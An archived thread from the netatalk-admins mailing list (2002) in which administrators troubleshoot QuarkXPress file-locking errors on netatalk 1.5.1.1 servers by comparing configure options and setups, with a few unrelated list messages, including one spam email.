	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 11:22:27 -0500 (EST)
Received: from carl (unverified [63.151.104.7]) by abcs.com
 (Rockliffe SMTPRA 4.5.6) with SMTP id <B0017600537@abcs.com> for <netatalk-admins@umich.edu>;
 Thu, 28 Feb 2002 11:23:59 -0500
From: Carl Walters <cwalters@moorelangen.com>
Date: Thu, 28 Feb 2002 16:22:17 GMT
Message-ID: <20020228.16221761@mis.configured.host>
Subject: Fwd: Re: Quark XPress File Locking - 1.5.1.1
To: netatalk-admins@umich.edu
X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Win32)
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA06362

If you use the configure option ( with-flock-locks ) the issue will be 
resolved.

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 2/28/2002, 10:54:59 AM, Robert Thiemann <rethiema@vcu.edu> wrote 
regarding Re: Quark XPress File Locking - 1.5.1.1:


> >What version of OS/kernel? What version of AppleShare Client? What 
server
> >filesystem? What version of QuarkXPress? Is the client connecting via 
TCP/IP
> >or AppleTalk? What configure options were used when compiling Netatalk?

> I have the same problem, but it's intermittent. And my situation is a
> little different.

> I just did a Fresh install of RH7.2 with netatalk 1.5.1.1 installed via 
RPM.

> OS/Kernel:  Linux version 2.4.7-10smp
> AppleShare:  3.8.8 (standard 9.1 install)
> Server Filesystem:  EXT3
> QuarkXpress Version:  4.11
> Client:  Connects via chooser, but auto-negotiates to connect via TCP/IP
> Options:  Dunno. Installed via RPM.

> A user found this, and it's not consistent. He opened a Quark
> Document, worked on it, closed it. Opened it later, worked on it it,
> saved it. Printed it. Then when he went to save it again, he got the
> error.

> And that's all I have.
> --
> Robert Thiemann
> Network Engineer
> VCU Adcenter
> rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Thu Feb 28 11:26:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA06817
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 11:26:59 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1SGQxk05505
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 11:26:59 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1SGQxV05495
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 11:26:59 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1SGQwG05487
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 11:26:58 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id LAA01725
	for netatalk-admins@umich.edu; Thu, 28 Feb 2002 11:26:53 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Thu, 28 Feb 2002 11:26:53 -0500
To: netatalk-admins@umich.edu
Subject: Re: Quark XPress File Locking - 1.5.1.1
Message-ID: <20020228112653.B24527@media.umbc.edu>
References: <a05101401b8a4033ca02c@[128.172.20.37]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <a05101401b8a4033ca02c@[128.172.20.37]>; from rethiema@vcu.edu on Thu, Feb 28, 2002 at 10:54:59AM -0500


On Thu, Feb 28, 2002 at 10:54:59AM -0500, Robert Thiemann wrote:
> >What version of OS/kernel? What version of AppleShare Client? What server
> >filesystem? What version of QuarkXPress? Is the client connecting via TCP/IP
> >or AppleTalk? What configure options were used when compiling Netatalk?
> 
> I have the same problem, but it's intermittent. And my situation is a 
> little different.
> 
> I just did a Fresh install of RH7.2 with netatalk 1.5.1.1 installed via RPM.
> 
> OS/Kernel:  Linux version 2.4.7-10smp
> AppleShare:  3.8.8 (standard 9.1 install)
> Server Filesystem:  EXT3
> QuarkXpress Version:  4.11
> Client:  Connects via chooser, but auto-negotiates to connect via TCP/IP
> Options:  Dunno. Installed via RPM.
> 
> A user found this, and it's not consistent. He opened a Quark 
> Document, worked on it, closed it. Opened it later, worked on it it, 
> saved it. Printed it. Then when he went to save it again, he got the 
> error.
> 
> And that's all I have.

How was the file opened?  Apparently, if you open a file by
double-clicking on it, Quark (up through 4.11) will open its temp swap
file in the same location as the document.  If this is across a
network, and any little glitch happens in your network (less than
perfect, which describes pretty much all real life networks), bad
things will happen, especially when you try to save.

However, if you open the file using File -> Open from Quark, Quark
will put the swap file where MacOS tells it to.  This, in combination
with these options:

--enable-fhs --enable-lastdid --with-flock-locks --with-pam
--with-tcp-wrappers

has worked for me.  Entire sections of our newspaper have been laid
out on the server with no apparent problems.

I don't know if Quark 5 behaves differently.  Here's my setup:

Debian potato, kernel 2.4.17 with no Appletalk support
ext3/ext2
MacOS 9.1 with all available updates applied
Quark 4.11
Clients connect via Chooser or Network Browser (with TCP)

Before (using 1.4bwhatever and double-clicking), we had similar
problems.  Our staff resorted to using ZIP disks for the Quark files
instead of the file server.


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Thu Feb 28 11:49:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA08520
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 11:49:24 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1SGnOU22417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 11:49:24 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1SGnNJ22411
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 11:49:23 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1SGnM622407
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 11:49:22 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g1SGn9I3073606;
	Thu, 28 Feb 2002 11:49:10 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <a05101407b8a40fff9e02@[128.172.20.37]>
In-Reply-To: <20020228112653.B24527@media.umbc.edu>
References: <a05101401b8a4033ca02c@[128.172.20.37]>
 <20020228112653.B24527@media.umbc.edu>
Date: Thu, 28 Feb 2002 11:49:09 -0500
To: Ray Shaw <ray@media.umbc.edu>, netatalk-admins@umich.edu
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Re: Quark XPress File Locking - 1.5.1.1
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>However, if you open the file using File -> Open from Quark, Quark
>will put the swap file where MacOS tells it to.  This, in combination
>with these options:
>
>--enable-fhs --enable-lastdid --with-flock-locks --with-pam
>--with-tcp-wrappers
>
>has worked for me.  Entire sections of our newspaper have been laid
>out on the server with no apparent problems.

Ok, where does this get set? At install/compile? I did not compile 
this software. I installed via RPM. I've had bad luck compiling 
software that's "supposed to work". Plus, I am unsure which settings 
in the config file need to be set to make the server work the way i 
need in the future.


-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Thu Feb 28 13:04:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA14283
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 13:04:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA15814
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 13:04:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA15789
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 13:04:02 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA15758
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 13:04:01 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 28 Feb 2002 10:04:56 -0800
Message-Id: <sc7e00c8.038@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 28 Feb 2002 10:04:30 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: Recommendations sought (off-topic?)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA14283

Why not just force the link state on the card?




----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Thu Feb 28 13:27:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA15685
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Feb 2002 13:27:37 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1SIRbT17112
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Feb 2002 13:27:37 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g1SIRbp17106
	for netatalk.administrators-members@umich.edu; Thu, 28 Feb 2002 13:27:37 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g1SIRaG17098
	for <netatalk-admins@umich.edu>; Thu, 28 Feb 2002 13:27:36 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id NAA11513
	for netatalk-admins@umich.edu; Thu, 28 Feb 2002 13:27:29 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Thu, 28 Feb 2002 13:27:29 -0500
To: netatalk-admins@umich.edu
Subject: Re: Quark XPress File Locking - 1.5.1.1
Message-ID: <20020228132729.A1740@media.umbc.edu>
References: <a05101401b8a4033ca02c@[128.172.20.37]> <20020228112653.B24527@media.umbc.edu> <a05101407b8a40fff9e02@[128.172.20.37]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <a05101407b8a40fff9e02@[128.172.20.37]>; from rethiema@vcu.edu on Thu, Feb 28, 2002 at 11:49:09AM -0500


On Thu, Feb 28, 2002 at 11:49:09AM -0500, Robert Thiemann wrote:
> >However, if you open the file using File -> Open from Quark, Quark
> >will put the swap file where MacOS tells it to.  This, in combination
> >with these options:
> >
> >--enable-fhs --enable-lastdid --with-flock-locks --with-pam
> >--with-tcp-wrappers
> >
> >has worked for me.  Entire sections of our newspaper have been laid
> >out on the server with no apparent problems.
> 
> Ok, where does this get set? At install/compile? I did not compile 
> this software. I installed via RPM. I've had bad luck compiling 
> software that's "supposed to work". Plus, I am unsure which settings 
> in the config file need to be set to make the server work the way i 
> need in the future.

Ironically, back when I was using Red Hat 5.2 the netatalk RPMs were
broken :)

These are set at compile time via ./configure.  Is there a source RPM
available?  You should hopefully be able to give it some options,
though I haven't used RPMs in a while.

Really, netatalk is pretty easy to configure and get working; if you
use --enable-fhs (Filesystem Hierarchy Standard), all the config files
will be in /etc/netatalk, and the rest in /usr/local (except for the
uams, which seem to go in /usr/lib...bad!...but this can be fixed by
editing the Makefile).

The only file I really needed to edit was
/etc/netatalk/Applevolumes.default in order to export more than just
the home directories (which have a default entry).

I also edited netatalk.conf, but that file is equally well commented,
and in order to get basic functionality, you shouldn't need to edit
anything.


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Fri Mar  1 04:04:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA05161
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Mar 2002 04:04:46 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g2194k716185
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Mar 2002 04:04:46 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g2194jV16183
	for netatalk.administrators-members@umich.edu; Fri, 1 Mar 2002 04:04:45 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g2194iL16168
	for <netatalk-admins@umich.edu>; Fri, 1 Mar 2002 04:04:44 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id KAA32153
	for <netatalk-admins@umich.edu>; Fri, 1 Mar 2002 10:04:33 +0100
Message-ID: <3C7F442B.C91FD0E4@euc.de>
Date: Fri, 01 Mar 2002 10:04:43 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Re: Quark XPress File Locking - 1.5.1.1
References: <a05101401b8a4033ca02c@[128.172.20.37]> <20020228112653.B24527@media.umbc.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA05161

Hmm,

we've sometimes the opposite - two users were able to open the same
document :).

Normally we don't have any problems with Quark. And we didn't noticed any
difference how we open the documents. 


we're using 1.5.1.1 and suse 7.something.
Files are on a reiser partition.
comiled as:
./configure --enable-suse --with-shadow  --with-flock-locks
--with-config-dir=/etc/atalk  --with-did=last --with-uams-path=etc/uams 
installed on a reiser-partition

Ray Shaw wrote:
> 
> On Thu, Feb 28, 2002 at 10:54:59AM -0500, Robert Thiemann wrote:
> > >What version of OS/kernel? What version of AppleShare Client? What server
> > >filesystem? What version of QuarkXPress? Is the client connecting via TCP/IP
> > >or AppleTalk? What configure options were used when compiling Netatalk?
> >
> > I have the same problem, but it's intermittent. And my situation is a
> > little different.
> >
> > I just did a Fresh install of RH7.2 with netatalk 1.5.1.1 installed via RPM.
> >
> > OS/Kernel:  Linux version 2.4.7-10smp
> > AppleShare:  3.8.8 (standard 9.1 install)
> > Server Filesystem:  EXT3
> > QuarkXpress Version:  4.11
> > Client:  Connects via chooser, but auto-negotiates to connect via TCP/IP
> > Options:  Dunno. Installed via RPM.
> >
> > A user found this, and it's not consistent. He opened a Quark
> > Document, worked on it, closed it. Opened it later, worked on it it,
> > saved it. Printed it. Then when he went to save it again, he got the
> > error.
> >
> > And that's all I have.
> 
> How was the file opened?  Apparently, if you open a file by
> double-clicking on it, Quark (up through 4.11) will open its temp swap
> file in the same location as the document.  If this is across a
> network, and any little glitch happens in your network (less than
> perfect, which describes pretty much all real life networks), bad
> things will happen, especially when you try to save.
> 
> However, if you open the file using File -> Open from Quark, Quark
> will put the swap file where MacOS tells it to.  This, in combination
> with these options:
> 
> --enable-fhs --enable-lastdid --with-flock-locks --with-pam
> --with-tcp-wrappers
> 
> has worked for me.  Entire sections of our newspaper have been laid
> out on the server with no apparent problems.
> 
> I don't know if Quark 5 behaves differently.  Here's my setup:
> 
> Debian potato, kernel 2.4.17 with no Appletalk support
> ext3/ext2
> MacOS 9.1 with all available updates applied
> Quark 4.11
> Clients connect via Chooser or Network Browser (with TCP)
> 
> Before (using 1.4bwhatever and double-clicking), we had similar
> problems.  Our staff resorted to using ZIP disks for the Quark files
> instead of the file server.
> 
> --
> --Ray
> 
> -----------------------------
> Sotto la panca la capra crepa
> sopra la panca la capra campa

-- 


mit freundlichen grüssen

........................................................

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln            
Neue Telefonnummern!....................................
CONIN - Agentur                  tel : +49-221-58 007-10
EUC Online Service GmbH          tel : +49-221-58 007-20
punktum postscript-Service       tel : +49-221-58 007-70
Fax Zentrale                     tel : +49-221-58 007-58
........................................................

From netatalk.administrators-errors@umich.edu  Fri Mar  1 04:05:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA05183
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Mar 2002 04:05:10 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g2195A423690
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Mar 2002 04:05:10 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g2195Ag23685
	for netatalk.administrators-members@umich.edu; Fri, 1 Mar 2002 04:05:10 -0500 (EST)
Received: from dominolinux.adhoc-computing.com (dominolinux.adhoc-computing.com [212.68.210.132])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g21958623675
	for <netatalk-admins@umich.edu>; Fri, 1 Mar 2002 04:05:08 -0500 (EST)
Subject: Re: Quark XPress File Locking - 1.5.1.1 - File deletion?
To: Ray Shaw <ray@media.umbc.edu>
Cc: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.0.9a  January 7, 2002
Message-ID: <OF99F45FC0.75A444DE-ONC1256B6F.003013EA-C1256B6F.0031DFB0@adhoc-computing.com>
From: japetit@adhoc-computing.com
Date: Fri, 1 Mar 2002 09:50:23 +0100
X-MIMETrack: Serialize by Router on dominolinux/Adhoc(Release 5.0.9 |November 16, 2001) at
 03/01/2002 09:50:30 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii


Hi Ray,

I don't know why, but indeed, when you configure with --enable-fhs, config
files are moved from /usr/local/etc/netatalk towards /etc/netatalk...
But the most important is that it seems to work !

Well, that's pretty good !

Just one thing.  As I read different forums and FAQs, I was horrified by a
destructive behavior attributed to netatalk.
Files deleted unwillingly. It seems it is a DID problem, or a reason why
they invented DID.

Do I still need to be afraid of it, or is it history?

Regards,

Jacques Petit
Brussels



                                                                                                                                        
                      Ray Shaw                                                                                                          
                      <ray@media.umbc.e        To:       netatalk-admins@umich.edu                                                      
                      du>                      cc:                                                                                      
                                               Subject:  Re: Quark XPress File Locking - 1.5.1.1                                        
                      28/02/2002 19:27                                                                                                  
                                                                                                                                        
                                                                                                                                        





On Thu, Feb 28, 2002 at 11:49:09AM -0500, Robert Thiemann wrote:
> >However, if you open the file using File -> Open from Quark, Quark
> >will put the swap file where MacOS tells it to.  This, in combination
> >with these options:
> >
> >--enable-fhs --enable-lastdid --with-flock-locks --with-pam
> >--with-tcp-wrappers
> >
> >has worked for me.  Entire sections of our newspaper have been laid
> >out on the server with no apparent problems.
>
> Ok, where does this get set? At install/compile? I did not compile
> this software. I installed via RPM. I've had bad luck compiling
> software that's "supposed to work". Plus, I am unsure which settings
> in the config file need to be set to make the server work the way i
> need in the future.

Ironically, back when I was using Red Hat 5.2 the netatalk RPMs were
broken :)

These are set at compile time via ./configure.  Is there a source RPM
available?  You should hopefully be able to give it some options,
though I haven't used RPMs in a while.

Really, netatalk is pretty easy to configure and get working; if you
use --enable-fhs (Filesystem Hierarchy Standard), all the config files
will be in /etc/netatalk, and the rest in /usr/local (except for the
uams, which seem to go in /usr/lib...bad!...but this can be fixed by
editing the Makefile).

The only file I really needed to edit was
/etc/netatalk/Applevolumes.default in order to export more than just
the home directories (which have a default entry).

I also edited netatalk.conf, but that file is equally well commented,
and in order to get basic functionality, you shouldn't need to edit
anything.


--
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa






From netatalk.administrators-errors@umich.edu  Fri Mar  1 12:54:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA00923
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Mar 2002 12:54:34 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g21HsYT01603
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Mar 2002 12:54:34 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g21HsYn01601
	for netatalk.administrators-members@umich.edu; Fri, 1 Mar 2002 12:54:34 -0500 (EST)
Received: from 192.168.0.147 (cs6669130-240.houston.rr.com [66.69.130.240])
	by bluehawaii.mr.itd.umich.edu (3.6u) with SMTP id g21HsOL01485; Fri, 1 Mar 2002 12:54:24 -0500 (EST)
Message-Id: <200203011754.g21HsOL01485@bluehawaii.mr.itd.umich.edu>
Date: Fri, 1 Mar 2002 12:54:24 -0500 (EST)
From: newincome3200@newserver.com
To: @umich.edu@bluehawaii.mr.itd.umich.edu
Subject:  sell instantly downloadable information from home
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

How to get FIVE Money-Making Web Site In 29 minutes or LessWithout spending A Fortune, 

 spend less than your grocery and make extra $2,000-$3,000 per month Visit 

 http://www.instantcashempires.com/dannyhsiao/

 Good Luck ^_^ 



 Ps : this is not a spam, theres no need to unsubscribe. sorry for this inconvenience



From netatalk.administrators-errors@umich.edu  Sat Mar  2 13:56:25 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA06560
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 2 Mar 2002 13:56:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA17445
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 2 Mar 2002 13:56:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA17419
	for netatalk.administrators-members@umich.edu; Sat, 2 Mar 2002 13:56:24 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA17384
	for <netatalk-admins@umich.edu>; Sat, 2 Mar 2002 13:56:23 -0500 (EST)
Received: from smtp-relay02.mac.com (server-source-si02 [10.13.10.6])
	by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g22IuNth011753
	for <netatalk-admins@umich.edu>; Sat, 2 Mar 2002 10:56:23 -0800 (PST)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GSD0LW00.R78 for
          <netatalk-admins@umich.edu>; Sat, 2 Mar 2002 10:56:21 -0800 
Received: from localhost ([65.29.18.152]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GSD0LV00.2CI for <netatalk-admins@umich.edu>; Sat,
          2 Mar 2002 10:56:19 -0800 
Date: Sat, 2 Mar 2002 12:56:11 -0600
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: unsubscribe
From: elinor scott-sutter <elinsutter@mac.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <299643E2-2E0F-11D6-A547-000393728C5E@mac.com>
X-Mailer: Apple Mail (2.481)



From netatalk.administrators-errors@umich.edu  Mon Mar  4 10:14:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA28231
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Mar 2002 10:14:01 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g24FE1J22750
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Mar 2002 10:14:01 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g24FE1i22736
	for netatalk.administrators-members@umich.edu; Mon, 4 Mar 2002 10:14:01 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g24FDx622711
	for <netatalk-admins@umich.edu>; Mon, 4 Mar 2002 10:13:59 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA27429
	for <netatalk-admins@umich.edu>; Mon, 4 Mar 2002 16:13:12 +0100
Message-ID: <3C838F11.132AE4B8@euc.de>
Date: Mon, 04 Mar 2002 16:13:22 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Xpress
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA28231

klar, mache ich
-- 


mit freundlichen grüssen

........................................................

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln            
Neue Telefonnummern!....................................
CONIN - Agentur                  tel : +49-221-58 007-10
EUC Online Service GmbH          tel : +49-221-58 007-20
punktum postscript-Service       tel : +49-221-58 007-70
Fax Zentrale                     tel : +49-221-58 007-58
........................................................

From netatalk.administrators-errors@umich.edu  Mon Mar  4 10:47:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA29741
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Mar 2002 10:47:13 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g24FlDD14997
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Mar 2002 10:47:13 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g24FlCA14995
	for netatalk.administrators-members@umich.edu; Mon, 4 Mar 2002 10:47:12 -0500 (EST)
Received: from mail.outstep.com (a904j637.tower.wayne.edu [141.217.140.65])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g24FlB614984
	for <netatalk-admins@umich.edu>; Mon, 4 Mar 2002 10:47:11 -0500 (EST)
Received: from outstep.com (localhost.localdomain [127.0.0.1])
	by mail.outstep.com (Postfix) with SMTP id D8EE53BE12
	for <netatalk-admins@umich.edu>; Mon,  4 Mar 2002 10:39:25 -0500 (EST)
Received: from 141.217.131.75
        (SquirrelMail authenticated user lonnie)
        by www.outstep.com with HTTP;
        Mon, 4 Mar 2002 10:39:25 -0500 (EST)
Message-ID: <1035.141.217.131.75.1015256365.squirrel@www.outstep.com>
Date: Mon, 4 Mar 2002 10:39:25 -0500 (EST)
Subject: pptp and Netatalk
From: "Lonnie Cumberland" <lonnie@outstep.com>
To: <netatalk-admins@umich.edu>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
X-Mailer: SquirrelMail (version 1.2.2)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hello All,

I am wondering about how it would be possible to use a VPN like pptp
to work with Netatalk.

I want to let the users of MAC from across the web be able to access
out server via AppleTalk and Netatalk.

Does anyone have any ideas on this matter?

Cheers,
Lonnie

-- 
 Lonnie Cumberland
 OutStep Technologies Incorporated
 EMAIL: Lonnie@OutStep.com
